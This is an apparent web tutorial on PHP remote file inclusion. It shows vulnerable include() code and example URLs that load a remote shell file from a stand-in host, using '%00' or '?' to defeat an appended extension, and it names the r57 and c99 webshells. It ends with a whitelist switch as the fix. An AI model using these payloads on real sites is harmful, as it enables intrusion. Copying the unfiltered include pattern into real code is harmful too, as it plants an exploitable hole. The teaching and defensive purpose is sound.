Remote File Inclusion Exploitation and Securing

Links:

Hacking and Security Tutorials >> Remote File Inclusion Exploitation and Securing

This article will include what to look for to find an RFI, explanations and sample source code to show what makes websites vulnerable, and examples of secure code so that you can see how to prevent attacks on your own box.

This article will not cover what to do with the RFI's after you've found them. That you will have to figure out on your own.

RFI stands for Remote File Inclusion, it is a fairly common vulnerability found in websites, usually due to lack of experience or laziness on the part of the PHP coder. The feature that makes websites vulnerable is a PHP feature known as inclusions. If you would like to know more about file inclusions in your PHP code you can look at the links I will provide at the end of this article. Below is some sample code, which is vulnerable.

<?php

$page = $_GET['page'];

include($page);

?>

What this code is doing is using PHP $_GET to retrieve variables in the URL, again if you would like to learn more about PHP $_GET I will provide external links at the end of the article. In this code, the variable is completely unfiltered. The URL in question would look something like this
http://www.examplesite.com/index.php?page=news.php

Because the PHP code above has no filtering or sanitation what so ever, a malicious user could insert anything in the variable and the website would load it. Most commonly the malicious user would insert a webshell such as r57 or c99. Some coders do their PHP includes a different way, which for the purpose of exploitation I will explain also. Below is some more vulnerable sample code.

<?php $page = $_GET['page'] . ".php"; 
include($page);

?>

In this code the coder included the extension of the file himself, so that it is not in the URL. the URL would look something like this

http://www.examplesite.com/index.php?page=news

if you were going to include your own malicious file say

http://www.examplesite.com/index.php?page=http://example.com/shell.txt

it would end up being
http://www.examplesite.com/index.php?page=http://example.com/shell.txt.php

which isn't a file and thus would produce a file not found error. To fix this you would add "%00" or "?" to the end of the URL like this
http://www.examplesite.com/index.php?page=http://example.com/shell.txt?

this comes back to the server like

include("http://example.com/shell.txt?.php");

making the ".php" an argument, which the included file would ignore, making it do nothing. You might have also noticed the .txt extension of the shell. The shell has to be in a format that the vulnerable server can read and execute, if it is in .php then the code will not be visible, php is a server side scripting language and the source isn't shown to the user, or in this case the vulnerable host. So it has to be in a .txt format so that the vuln. site will be able to see the PHP and then interpret it. Below is some secure code, that is invulnerable to RFI's(and LFI's)

<?php $page = $_GET['page'];

switch($page) {

default:

include('news.php');

break; case "news":

include('news.php');

break; case "links":

include('links.php');

break; case "files":

include('files.php');

}

?>

The links themselves would be something like

<a href="?page=news">News</a>